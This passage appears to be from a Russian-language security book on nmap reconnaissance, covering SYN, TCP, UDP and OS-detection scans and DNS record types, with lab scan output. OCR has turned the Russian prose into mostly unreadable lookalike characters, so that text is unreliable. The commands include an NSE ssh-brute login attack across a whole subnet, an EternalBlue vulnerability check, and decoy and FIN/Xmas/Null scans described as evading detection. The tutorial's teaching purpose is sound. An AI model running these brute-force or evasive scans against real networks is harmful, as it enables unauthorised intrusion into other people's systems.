MetomoM ckaHUPOBAHUS 110 YMOJTYAHUIO B nmap aBisercd SYN-cKaHupoBaHue, nin
«CKPBITHOE» CKaHUPOBaHWMe, — NMap Bceraa OyIeT UCI0JIb30BaTh €ro, eCJU Bbl He
yKazaJm Kakoi-y100 apyroil Metol. SYN-CKaHUPOBaHKE — 9TO METO/] CKAHUPOBAHWSI
mopToB TCP, B koTopom SYN-TTaKeThI OTTIPABJISIOTCS Ha Pa3TUIHBIE TIOPTHI 11€JI€BOM
MaIluHbl 6e3 3aBePIIeHUs POIEYPBI TPEXCTOPOHHETO PyKOToKaTusa. Ecau mopt
TCP oTkpbIT, llesieBast MalirHa JoJsKHa oTiipaBuTh obpario SYN-ACK, undopmu-
pyst 00 atom. Ha caenyiotiem arare ckanep He ormpasisier ACK st 3aBepiiieHust
MIPOIEyPbl YCTAHOBKY COEIMHEHNUS.

Tak xak Trporiezrypa TpeXCTOPOHHETO PYKOIOKATHsI He 3aBepIiaeTcs, TO COe/[MHEeHIe
HE CUUTAETCS YCTAHOBJIEHHBIM, 2 9TO 3HAYMT, UYTO JJAHHBIE HE JIOXOJIST JI0 YPOBHSI TIPU-
JIO’KEeHUS U TI09TOMY OHU He (huKcupyloTcs B jorax. bosiee Toro, SYN-ckanupoBanue
pabotaet ObicTpee U A bEKTUBHEE, TAK KAK B TIPOIECCE MEPEIAETCS M IIPHHUMAETCSI
MEHBIIee KOJMIeCTBO makeToB. OHAKO yUTUTE, YTO GOJNBITUHCTBO COBPEMEHHBIX
(baitepBOIOB yMEIOT ONIpe/iesisiTh TaHHBIN TUIT CKAHUPOBAHUS TTOPTOB U B TAKOM
CJIy4Jae OCTaThCsT He3aMeUeHHBIM He TIOJTyYUTCS.

TCP-ckaHupoBaHue

Eciiu nosie3oBaresip 3ammyckaer nmap 0e3 mpaB aMUHUCTPATOPA, 110 YMOJTYAHIIO
Oyner BeiOpan Meros ckanuposanus TCP Connect, He TpeOyOIIUI ClieUaIbHbIX
npaB. B aToM ciydae mpoMCXOAUT TTOTHAS MPOTEAYPA YCTAHOBKU COEUHEHUS.
O/HAKO yYUTHIBASI TO, 4TO NMAap JO0JKHA MOKIATHCST YCTAHOBJIEHUS COEMHEHMS,
CKaHMPOBaHUe ¢ NOAKIoYeHreM TpebyeT GoJibiie BpeMenu, 4eM SYN-cKkaHupoBaHue.

Muorma MoxeT MOTPe60BATHCST OCYIECTBUTH UMEHHO CKAHUPOBAHKE C MOIKITIOUE-
HEEM, HAITPUMED, IPH paboTe yepe3 HEKOTOPbIE TUIIBI TIPOKCH-CePBEpPOB. B Takmx
CJIy4asx UCIOJIb3yeTcs mapameTp -sT.

Huske MbI IpUBeieM Pe3yJITaThl PAGOTHI CKAHUPOBAHUS ¢ TIOAKII0OUeHneM 1 SYN-
CKaHMPOBAHMUS C 1[eJIbI0 CPABHEHNUST CKOPOCTH MX BBITIOTTHEHUS.

itsecbook@kali:~# nmap 192.168.91.* -sT

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:42 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00096s latency).

Not shown: 998 filtered tcp ports (no-response)

PORT STATE SERVICE

53/tcp open domain

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (4 hosts up) scanned in 13.26 seconds
itsecbook@kali:~# nmap 192.168.91.* -sS

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:49 EDT

Nmap scan report for 192.168.91.2
Host is up (0.00055s latency).
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Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE

Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (4 hosts up) scanned in 7.54 seconds

UDP-ckaHupoBaHue

ITpu Beimosnternn UDP-ckaHpoBaHus Nap MCIOJIb3yeT KOMOUHAITHIO ABYX Pas-
JIMYHBIX METOJIOB JIJIST OTIPE/IETICHIIST TOTO, OTKPBIT TIOPT UJIH 3aKPBIT. J1715T 60MBIITIH-
CTBa MIOPTOB OHA UCIIOJAB3YeT cTanAapTHbiil MeTog ICMP port unreachable, o koro-
POM TOBOPUJIOCH paHee, OTIIPABJIsA ITyCTOH MaKeT Ha yKazaHHbIH mopT. OaHaKo 1
O0IIMX MOPTOB, TAKUX KaK UCosb3yembiit SNMP mopt 161, oHa oTmpaBuT creru-
uaeckuit qus nporokosa SNMP maxker. [lns Bomonnenns UDP-ckanuposanms
HCIOJIb3YeTCs I1apametp -su.

B nononnenne CKa3aHHOMY BbIII€ CTOUT OTMETUTD CJIEAYIOIIEE:

o UDP-ckaHupOBaHUE MOKET ObITh OUE€HDb MEIJICHHBIM, TIOTOMY YTO ITPOTOKOJIBI,
ocnoBannble Ha UDP, He uMe1oT BCTPOeHHbIX MEXaHU3MOB YIIPaBJIEHUS I0TOKOM
naHHbIX, Kotopbie ectb y TCP. TloaToMy uT06bI M36€KATH TIEPErPy3KH CETH, NMAap
CHUKAeT CKOPOCTD OTIIPABKH TTAKETOB.

e Hexkoropsie cucrembr orpannuuBatoT urcio [CMP-01iboK, OTIPaBIISIEMbIX B Ce-
KYHILY, 9TO MOXKET MTPUBECTHN K TIPOTTYCKY 3aKPBITHIX TIOPTOB, €CJIN CKAHNPOBAHNE
BBITIOJTHSIETCSI CJTUTITKOM GBICTPO.

e Hexkoropsie dhaiiepBoJIbl U CUCTEMbBI 00HAPY/KEHMSI BTOPKEHUN MOIYT GJIOKUPO-
Batb ICMP-coobiienus, uTo gejaeT HeBO3MOKHBIM OIpee/ieHIe COCTOSTHIS
mopTa.

itsecbook@kali:~# nmap 192.168.91.0/24 -sU

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 ©9:59 EDT
Nmap scan report for 192.168.91.1

Host is up (0.00020s latency).

All 1000 scanned ports on 192.168.91.1 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

MAC Address: ©00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.91.2

Host is up (©.0026s latency).

Not shown: 999 open|filtered udp ports (no-response)
PORT STATE SERVICE

53/udp open domain

MAC Address: ©0:50:56:FE:1D:3F (VMware)

Nmap scan report for 192.168.91.130

Host is up (0.00065s latency).

Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE

68/udp open|filtered dhcpc
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MAC Address: ©0:0C:29:15:C6:CD (VMware)

Nmap scan report for 192.168.91.131

Host is up (0.00065s latency).

Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE

68/udp open|filtered dhcpc

MAC Address: ©0:0C:29:2B:51:70 (VMware)

Nmap scan report for 192.168.91.254

Host is up (0.00019s latency).

All 1000 scanned ports on 192.168.91.254 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)

MAC Address: ©0:50:56:FC:2E:E6 (VMware)

Nmap scan report for 192.168.91.128

Host is up (0.0000090s latency).

All 1000 scanned ports on 192.168.91.128 are in ignored states.
Not shown: 1000 closed udp ports (port-unreach)

Nmap done: 256 IP addresses (6 hosts up) scanned in 1088.26 seconds

ITapameTpbl -sS 1 -sU MOKHO KOMOMHUPOBATH AJIs HOJIydeHus GoJiee HoapoOHOi
nugopmaimu o mesesoit 1C:

itsecbook@kali:~# nmap 192.168.91.* -sS -sU

CkaHupoBaHue 60MbLLMX CETEN

ITpu pabore ¢ GOJNBIIUMU CETSIMU Bbl HEM30EKHO renepupyere Tpaduk B 6OJbIIOM
obbeMe, a caM mpoitece Oyaer uaTu 3amMeTHo MeeHHee. OHAKO BCeraa ecTb BO3-
MOKHOCTb ONITUMHU3WPOBATH JAHHBIN 1Tpotiecc. Mbl HAUWHEM € TTPOCTOTO CKAHMPOBA-
HYIST JIJTST OTIPE/IeIEH ST aKTHBHBIX XOCTOB, a 3aT€M MPOCKAHUPYEM KayKIbli U3 HUX.

[t onTMM3aIy Ipolecca NCIOoAb3yeM TTapaMeTp -sn. ITOT TTapaMeTp yKa3bIBacT
NMap He BBIMOJHSATH CKAHUPOBAHUE TIOPTOB MOCJIE OOHAPY/KEHMS XOCTa, a TOJIBKO
BBIBOJIUTH JIOCTYITHBIE XOCTBI. TaKOM THUIT CKAHMPOBAHUS YACTO HA3bIBAETCST «CKAHU-
pOBaHIEM Ping», OH TIO3BOJISIET TIPOBECTH JIETKYIO PA3BEIKY CETH TETEBOTO 00HEKTA
6e3 mpuBIeYeHsT GOMBITOTO BHUMAHUS.

[Ipockanupyem Hallly ceTb, UCTIOJIb3Y4 TapaMeTphbl -sn 1 -0G. [locaeanuii oTBevaeT
3a COXpaHeHUe Pe3yabTaTOB B (haiiJl, TO TIOMOKET HE TIOTEPATH PE3yIBTAThl CKaHH-
poBaHus:

itsecbook@kali:~# nmap -sn 192.168.91.0/24 -oG results.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:27 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00072s latency).

Nmap scan report for 192.168.91.128

Host is up (0.00024s latency).

Nmap scan report for 192.168.91.130

Host is up (0.00067s latency).
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Nmap scan report for 192.168.91.131
Host is up (0.00023s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.42 seconds

[TocmotpuMm Ha coiepxuMoe daiia:

itsecbook@kali:~# cat results.txt
# Nmap 7.93 scan initiated Mon May 1 10:27:59 2023 as: nmap -sn -oG results.
txt 192.168.91.0/24
Host: 192.168.91.2 () Status: Up
Host: 192.168.91.128 () Status: Up
Host: 192.168.91.130 () Status: Up
Host: 192.168.91.131 () Status: Up
# Nmap done at Mon May 1 10:28:01 2023 -- 256 IP addresses (4 hosts up)
scanned in 2.42 seconds

Jluist onipeziesieHnst aKTUBHBIX XOCTOB BMecTO uctoib3oBanus [CMP mbl ripoBeieM
ckanmposanne nonyasipabix TCP- i UDP-nmopTos. Mbr MoskeM ncrionb3oBaTh
443-i1 nnu 80-if OPT, OJIHAKO €CJIN BBl UIleTe KAKOW-TO KOHKPETHBIN CEPBUC, TO
YKa)KUTE TOT MOPT, HA KOTOPOM OH 0ObIMHO paboTaet, Harpumep 1mopt 53 (cepBep
JIOMEHHBIX UMEH ).

[l ocyTecTBICHNS TAKOTO CKAaHUPOBAHMS MCTIOTh3YeM yrKe M3BECTHBIN HaM Ia-
pamerp -p:

itsecbook@kali:~# nmap -p 80,443,53 192.168.91.0/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:39 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00086s latency).

PORT STATE SERVICE
53/tcp open domain
80/tcp closed http
443/tcp closed https

Nmap scan report for 192.168.91.128
Host is up (0.00043s latency).

PORT STATE SERVICE
53/tcp closed domain
80/tcp closed http
443/tcp closed https

Nmap scan report for 192.168.91.130
Host is up (0.00035s latency).

PORT STATE SERVICE
53/tcp closed domain
80/tcp open http
443/tcp closed https

Nmap scan report for 192.168.91.131
Host is up (0.00041s latency).
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PORT STATE SERVICE
53/tcp closed domain
80/tcp open http
443/tcp open  https

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.49 seconds

[Mepen mamu, Kak 0OBIYHO, CTOUT I[eJIb HKOHOMUU BpeMeHu U pecypcoB. [Ipose-
MOHCTPHUPYEM ellle [BA MHTEPECHBIX MapaMeTpa JJis 3aiycka. Kak Bbl IOMHUTE, 110
ymosdanuio nmap ckanupyet 1000 caMmbIX TOMyJIIPHBIX TOPTOB, OTHAKO MBI MOKEM
COKPATUTH WX KOJUIECTBO, UCIIOJIB3YST TapaMeTp - -top-ports. JLjst momyvenus 60-
Jiee IeTATBHOI WHGMOPMAIINH O T[eJIEBOH crcTeMe T06aBUM TTapaMeTp -A, Garoaapst
aToMy nmap morpobyet onpenenuts Bepcuto OC tenesoit C:

itsecbook@kali:~# nmap -sT -A --top-ports=10 192.168.91.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:46 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00056s latency).

Nmap scan report for 192.168.91.130
Host is up (0.00068s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open  ssh OpenSSH 8.2pl1 Ubuntu 4ubuntu@.5 (Ubuntu Linux;

protocol 2.0)

| ssh-hostkey:

| 3072 albdf9d1dd21453dbf91b20e7e80b941 (RSA)

| 256 e2745745d41ee571f4b08484600b78b9 (ECDSA)

| _ 256 652f9055d4a6affca3felb8d6bdfibdd (ED25519)
23/tcp closed telnet

25/tcp closed smtp

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| _http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp closed pop3

139/tcp closed netbios-ssn

443/tcp closed https

445/tcp closed microsoft-ds

3389/tcp closed ms-wbt-server

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.91.131
Host is up (0.00080s latency).

PORT STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.1 (Ubuntu Linux;

protocol 2.90)

| ssh-hostkey:

| 256 d5df3aa@cd9d27198b30beaada3alfc2 (ECDSA)
| 256 a77192dd53F5cFfO7fc51782a48619cF (ED25519)
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23/tcp closed telnet
25/tcp  closed smtp
80/tcp open  http nginx 1.18.0 (Ubuntu)

http-server-header: nginx/1.18.0 (Ubuntu)
http-title: Apache2 Ubuntu Default Page: It works

110/tcp closed pop3
139/tcp closed netbios-ssn
443/tcp open ssl/http nginx

tls-alpn:
http/1.1
http-title: Apache2 Ubuntu Default Page: It works
ssl-date: TLS randomness does not represent time
tls-nextprotoneg:
http/1.1
ssl-cert: Subject: commonName=edem
Subject Alternative Name: DNS:edem
Not valid before: 2023-01-30T09:36:05
Not valid after: 2033-01-27T09:36:05

445/tcp closed microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 21.52 seconds

OnpeaeneHne Tuna onepaLyoHHON CUCTEMBI

Ecan nepes ckanupoBaHieM yKasaTh apaMerp -0, 9TO JIOTNOJHUTENbHO 3aITyCTUT
nporecc onpezgenenus: turma OC Ha HalileHHBIX XOcTaX. Nmap orpejeisieT TUI
ONEPAIIMOHHON CHCTEMBI C MOMOIIBIO PA3JMYHBIX XapaKTEPUCTHUK U TTOKa3aTeJIeli,
KOTOPBIE BKJIFOYAIOT B CeOsI:

ocobennoctu creka TCP/IP, takue kak HayanbHble 3HaueHns Time To Live
(TTL) u pasmep oxua TCP, KoTopble MOryT ObITh YHIKAJIbHBIMU AJIS OIIPeIe-
sgennoit OC;

ocobernocTr pabotsl TCP u UDP. Nmap anajausupyer moBejeHue mejaeBoit
cucrembl pu 06paboTke pazarndabix TCP- 1 UDP-3anpocos, Harpumep peaxkiun
Ha SYN-TIaKkeTs!, MOMBITKY MTOKIIOYEHUS K 3aKPBITHIM TIOPTAM UM HENPABUIBHO
chopMupOBaHHbIE MTAKETD;

peaxius cucTeMsl Ha pasiaunaable [CMP-3ampocsr, B TOM dnciie 9X0-3aPOCH
(ping);

HAJIMYKE OTMPEICTIEHHBIX OTKPHITHIX TOPTOB U CJy/KO HA TIEJIEBON cucTeMe, KOTo-
poe Takske MOKeT TOMOYb NMap CIeJIaTh BLIBO O THUIIE OIIEPAIMOHHON CUCTEMBI.

IIJIH OorIpe/iesICHUA THUIIa OHepaHI/IOHHOﬁ CHUCTEMDI NMap NCIIOJIb3YET O6H_H/IpHyIO 633y
JTaHHBIX IIPU3HAKOB OC, KOTOpasd IMoCTOAHHO 06HOBIIAETCA U paciimpAeTCca COO6H.[€-
CTBOM II0JIb30BaTEJICH.
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Bcerpa moMHUTE O TOM, UTO 3TOT METOJI MOKET BO3BPAIATh JIOKHBIE PE3YJIbTATHI.
IT0 00YCIOBIEHO HECKOJIBKUMU TIPUUITHAMIL

OTIEPAIMOHHDIE CUCTEMBI TOCTOSIHHO OOHOBJISIIOTCSI U U3MEHSTIOTCS. ITO MPH-
BOJIUT K U3BMEHEHUIO PA3JIMYHBIX XapaKTEePUCTHK, YTO YCJIOKHSET OlpesiesieHue
KOHKPETHOW BePCUN UJIN TUIIA CUCTEMBI;

BO3MOKHOCTb HacTpoiiku mapameTpoB creka TCP/IP B HekoTopbIX orepaiiu-
OHHBIX CHUCTeMaX 3aTpy/HseT UX UAeHTUdUKALMIO, TAaK Kak a]MUHUCTPATOPBI
MOTYT U3MEHSTH TTapaMeTphl JIJist obecrevdeHust 6e30MacHOCTH U TIPOU3BO-
JIUTEJIbHOCTH;

MesKCeTeBble 9KPaHbl, CcTeMbl 00HapyskeHus Bropskernii (IDS) u apyrue cpen-
CTBA 3AIUTHI MOTYT (DUIBTPOBATH UJIM U3MEHATH CeTeBON TpaduK, 4TO 3aTPy/I-
HseT cOOpP TOYHBIX TAHHBIX O TIETEBOH CUCTEME;

6aza mamHbix mprusnakoB OC MOKeT cofepkKaTh OMUOKN WIH YCTapeBITyIo WH-
opmarnuio.

Huke IpeacTaBJ/IEH IPUMED OIpeAeJICHUS OCmna O/THOM U3 XOCTOB, B HalllEM CJiy4dae
BCE Cpa6OTaJIO JIOCTATOYHO TOYHO!

itsecbook@kali:~# nmap -0 192.168.91.131

[sudo] password for itsecbook:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 10:59 EDT
Nmap scan report for 192.168.91.131

Host is up (0.00063s latency).

Not shown: 997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

MAC Address: 00:0C:29:2B:51:70 (VMware)

Device type: general purpose

Running: Linux 4.X|5.X

OS CPE: cpe:/o:linux:1linux_kernel:4 cpe:/o:linux:linux_kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds

MonyuyeHne 6aHHepa

Mol yske paccMaTpuBasiy OAHHEPDI CETEBBIX CEPBUCOB B OJIHOM U3 TPEABIIYIIIX
pas/iesioB, I109TOMY OIpaHUYUMCS KpaTKUM HallomuHanueM. bannep ceteBoro
cepBuca — 310 HHGOPMAIHOHHOE COOOIIEHIE, OTIIPABJISIEMOE CETEBBIM CEPBUCOM
[PY YCTAHOBJIEHUM COEAMHEHUsI ¢ HUM. BaHHEPbI 00BIYHO COAEPIKAT CBEICHMS
O THUIIE U BEPCHUU CEPBUCA, YTO MOKET OBITH TOJIE3HO JIJISI OIIPE/IEJIEHUST YSI3BUMOCTEN
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U HACTPOIKM aTtaku. YUTuTe, 4To HHMOPMaIis, cojaepsKaliascs B baHHepax, He
Beerja ObIBaeT IPaBAMBOIL, YACTO aIMUHUCTPATOPbI MEHSIOT €€ C LIeJIbI0 3aIlyTaTh
aTaKyIoIIero.

IMosryunm GaHHEp, UCIOJAB3YST NMap, [AJst Yer0 YKaKeM TmapameTp -sV, KOTOPbII,
KOHEYHO, MOSKHO O0beIUHATD C IPYTHUMHU MapaMeTPaMHU:

itsecbook@kali:~# nmap -sV -A -sT 192.168.91.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 11:07 EDT
Nmap scan report for 192.168.91.131
Host is up (0.00072s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9pl1 Ubuntu 3ubuntu@.1 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
| 256 d5df3aa@cd9d27198b30beaada3alfc2 (ECDSA)
| 256 a77192dd53f5cffO7fc51782a48619cf (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| _http-title: Apache2 Ubuntu Default Page: It works
443/tcp open ssl/http nginx
| ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
| http/1.1
| ssl-cert: Subject: commonName=edem
| Subject Alternative Name: DNS:edem
| Not valid before: 2023-01-30T09:36:05
|_Not valid after: 2033-01-27T09:36:05
| tls-alpn:
| http/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: ©0:0C:29:2B:51:70 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:linux:1linux_kernel:4 cpe:/o:linux:1linux_kernel:5
0S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms 192.168.91.131

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.07 seconds

NSE (map Scripting Engine)

Nmap Scripting Engine (NSE) — BcTpoeHHBIlI B nmap WHCTPYMEHT, KOTOPBIi TT0-
3BOJIsIeT aBTOMATU3UPOBATD U PACIIMPATH BO3ZMOMKHOCTH CKAHUPOBAHUS C IIOMOLIBIO
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HaMMCaHHBIX Ha s13bIKe Lua ckpunroB. CKPUNITHI 06JIErYatoT BBIIOJTHEHIE TAKUX 32a-
nad, kKak c60p HHPOPMAIIK O CepBUCaX, OOHAPYIKEHIE YSI3BUMOCTEH 1 TIPOBEICHIE
CJIOKHBIX aTak, jiesias nmap 6oJiee TiOKUM ¥ MOIIHBIM HHCTPYMeHTOM. [TpuBenem
HECKOJIbKO TIPUMepoB Hcnosb3oBanus NSE st obseryenus ayaura uHdopMaim-
OHHBIX CHCTEM.

Coop undopmaium o ceppucax. [TponcxoauT CKaHUPOBaHUE BCEX XOCTOB B yKa-
3aHHOIT MOJICETU U BBIBOJ] 3aTOJIOBKO BEG-CTPAHUIL, pa3MeleHHbIX Ha mopre 80:

#nmap -p 80 --script http-title 192.168.1.0/24

OGHapy:keHne ya3suMocTeii. B atom npumMepe namp uiier ysisgumoctbh MS17-
010 (EternalBlue) B SMB-cepBrce X0CTOB yKazaHHOI TTOCETH:

#nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

IToaGop napsl JoruH U napojb. Nmap nposoaut 6pyrdopc-ataku vHa SSH-
cepBepbl B YKa3aHHOU TIOJICETH, UCTIOJIb3YsI CITMCOK UMEH T0JIb30BaTeeil (users.
txt) u maponeit (pass.txt):

#nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt
192.168.1.0/24

Apyrve napameTpbl

Hike npuBoauTCS CIIMCOK JAPYTUX TTOMYJISIPHBIX TAPaMETPOB 3allycKa nmap ¢ Kpart-
KUMU KOMMEHTapUSAMU:

-V — yBeJIMYUBAET YPOBEHb noApoOHOCTH oT4eTa. MOKHO HCIIOIb30BATh -VV
W —vvv:nmap - vv 192.168.1.1;

-T — 1I03BOJIsIET HACTPOUTDH CKOPOCTh CKAaHMPOBAHUA. TO SIBJSIETCS CAMbIM MeJl-
JIEHHBIM, a T5 caMbIM 6bICprIMZ nmap -T4 192.168.1.1;

-Pn — co00IIaeT Nmap 0 TOM, 4TO XOCT JIOCTYTICH, U CPasy MEePEeXONT K CKaHMW-
POBaHUIO TIOPTOB, MUHYST 3TATl OOHAPYKEHUS XOCTa. ITO MOXKET OBITh TIOJIE3HO
B cayvae, Korja 6sokupyiorcs ICMP-3arnpocst;

-iL — ompeenseT haiiy ¢ mepedyHeM 1esiel s JaabHeHTero CKaHmpOBaHNS:
nmap -ilL targets.txt;

-oN — cOoXpaHseT Pe3yJibTaThl CKAHNPOBAHUS B TEKCTOBBIN (haily: nmap -oN
output.txt 192.168.1.1;

-0X — COXpaHseT pPe3yabTaThl ckanuposanus B (popmare XML: nmap -oX output.
xml 192.168.1.1;

-6 — ucnoJb3yercd /st ckanuposanust IPv6-agpecos: nmap -6 IPv6_aapec;

-D — HO3BOJIIET UMUTHUPOBATH «30MOM»-XOCTHI st 00 yCKaMK UCTOYHNKA
CKaHUpOBaHUA: nmap -D RND:10 [uenb];

-sF, -sX, -sN — HabOP UCTIOIB3YETCSI LIS BBITIOTHEH S CKPBITOTO CKAHUPOBAHUST
pasnuunbix tunos (FIN, Xmas u Null coorsercTBenHo), KOTOpbIE MOTYT IIPONATH
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He3aMeUYeHHBIMUY TSI HEKOTOPBIX CHCTeM 0OHAPYsKEHUsI BTOPKEHUI: nmap -sF
192.168.1.1.

MNonyyeHne nHgopmaumm ot DNS-cepsepoB

Cucrema nomennbix uMen (DNS) aBigercs BaxHON KOMIIOHEHTOH ceT€BOI MH-
(bpacTpyKTypbl, BHIIOJIHAIONEH (PYHKINIO IPpeobpa3oBaHust JOMEHHbIX uMeH B IP-
azpeca u obpaTro. Brarogapst nadopmaiiu, nosrydaemoit or DNS-cepBepa, MOKHO
COCTABUTh CIIUCOK ITyOJIMYHBIX BHEIITHUX, a IIOPON U BHYTPEHHKUX CEPBEPOB, KOTOPbIE
WCITOJTB3YIOTCS 1IEJIEBO OpPTaHn3aInen.

MpuHUMN paboTbl

DNS upezcrasisier co6oii pacipejiesieHHY0 6a3y JaHHBIX, OPraHU30BaHHYIO 110
HnepapxuyecKoMy TPUHIIUITY. Bee JoMeHHble UMeHa Pa3OMBAIOTCST HA 30HBI OTBET-
CTBEHHOCTH, HAYMHAS ¢ KOPHEBOIT 30HBI, B KOTOPOIT COZIEP;KATCs CCHIIKH HA CePBEPHI
nomenoB BepxHero ypoBHs (TLD). Kaxaerit TLD (wanpumep, .com, .org, .net) co-
JICPKUT CCBIJIKUA Ha CEPBEPBI JIOMEHOB BTOPOTO YPOBH:, KOTOPbIE, B CBOIO OYepe/lb,
MOTYT CO/IEPKATh CCHLIKU HAa CEPBEPHI IOMEHOB TPETHETO YPOBHS, U T. /1. (PUC. 4.5).

DNS-root 30Ha

30HbI

1-ro ypoBHsA net
30HbI google.com

2-ro ypoBHA mail.com vk.ru
30HbI

3-ro ypoBHs mail.google.com m.vkru

Puc. 4.5. lepapxva JOMEHHbIX 30H

Korzma kimenTckas cucreMa BbinosiHsgeT anpoc DNS, manpumep, s mpeodpaso-
BaHus UMeH www.example.com B IP-anpec, DNS-kjmeHT o6paliaercst K OMHOMY U3
KopHEBBIX DNS-cepBepoB. ITOT cepBep, He MMes MPSIMO WHMOOPMAIIUH O 3aIpo-
MIEHHOM JIOMEHE, HAIIPaBJISIET 3alPOC K CepBepPy JO0MeHa BEpXHETo ypoBHs (.com
B HanteM cayudae). Cepsep TLD 3Haer, T/1e HaX0/UTCS CePBEP JIOMeHA 2-TO YPOB-
us (example.com), u nepenamnpasiser 3anpoc K Hemy. Hakoner, cepsep qoMeHa
2-10 ypOBHS MOXKET rpepoctaButh [P-anpec aist www.example.com (puc. 4.6).
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Puc. 4.6. Cxema 3anpoca

Tunbl 3anucen

CymiectByeT HeCKOTbKO TUITOB DNS-3amnmceii, KasKablit 13 KOTOPBIX MPEICTABISET
oripe/ieJieHHbIH Bu nHboOpManuu o goMere. [IpuBesieM HeKOTOpBIE U3 Hanboee
yacTo ucnoJibdyembix TuroB DNS-3amnmceii:

e A (Address) — cBsizbiBaeT moMeHHOe UMst ¢ IPv4-aapecom: example.com A
192.168.1.1,

® AAAA (IPv6 Address) — cssbiBaeT gomennoe umMs ¢ IPv6-aapecom: example. com
AAAA 2001 :0db8:85a3:0000:0000:8a2e:0370:7334;

® CNAME (Canonical Name) — ykasbiBaeT Ha KaHOHUYECKoe UM (ajimac) J0MeHa,
TTO3BOJISIST COCJIATHCS HA IPYTOH /JOMeH: mail.example.com CNAME example. com;

e MX (Mail Exchange) — omnpezersier, Kakue MOYTOBbIE CePBEPHI OOCTYKIUBAOT
JMaHHyIo 30HYy: example.comMX 1@ mail.example. com;

e NS (Name Server) — ykaspiBaeT aBTOPUTETHBIE CEPBEPbI UMEH [IJIsT IAHHOTO JI0-
MeHa: example.com NS nsl.example.com;

e PTR (Pointer) — ucnosbsyercs st o6patHoro npespaiienus [P-agpeca B 10-
MeHHoe 1Mst (06BIYHO [Uist TpoBepKu o6patHoro DNS): 1.1.168.192.in-addr.
arpa PTR example. com;

® SOA (Start of Authority) — comepxutr nadopMannio 06 aBTOPUTETHOM CepBepe
JIOMEHa, a TAaKyKe MapaMeTpbl OOHOBJIEHVS M BPEMEHU JKU3HU 30HBI: example . com
SOA nsl.example.com admin.example.com (1 7200 3600 1209600 86400);

® SRV (Service) — ompesessseT MeCTOIOJNOKEeHNE U TTapaMeTPhl TAKUX CTIEeIH-
duueckux cayx06, kak SIP uimn LDAP: _sip._tcp.example.com SRV @ 5 5060
sipserver.example.com;
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e TXT (Text) — comepKUT TEKCTOBbIE IaHHBIE, KOTOPbBIE MOTYT MCTIOTb30BATHCST JIJIST
passnyHbIX 1eseit: Bepudukanun gomena, SPF-zarmicu nimm DKIM: example. com
TXT "v=spflmx -all";

e CAA (Certification Authority Authorization) — nossoJisieT ykasarb, Kakue cep-
TUKAIMOHHBIE TIEHTPBI MOTYT BBITTYCKAaTh CEPTU(MUKATHI ST JAHHOTO IOMeHa:
example.com CAA @ issue "letsencrypt.org"”.

3uaunmocTtb DNS g hyHKIIMOHMPOBaHWS UHTEPHETA TPYAHO repeolieHnTb. Ona
obecrieanBaeT y00CTBO B3AUMOJIEHCTBISI ¢ PECYPCAMU HHTEPHETA, TTO3BOJISIST UCTIOb-
30BaTh MOHATHBIC YeJIOBEKY MMeHa BMeCTO YncIOBbIX [P-anpecos. Bosee Toro, DNS
nobaBJisieT THOKOCTD B YIIPABJIEHHE CETEBBIMU PECYPCAMH, TIO3BOISISI TEPEHATPABIISAT
Tpaduk MexKITy cepBepamMi 6e3 HeOOXOIMMOCTH U3MEHS T JOMEHHBIE MEHA.

B3anmopencTeme c DNS

BsaumozeiictBoBath ¢ DNS-cepBepoM MOKHO HECKOIBKUMHE Pa3IMIHbIME CIIOCO0A-
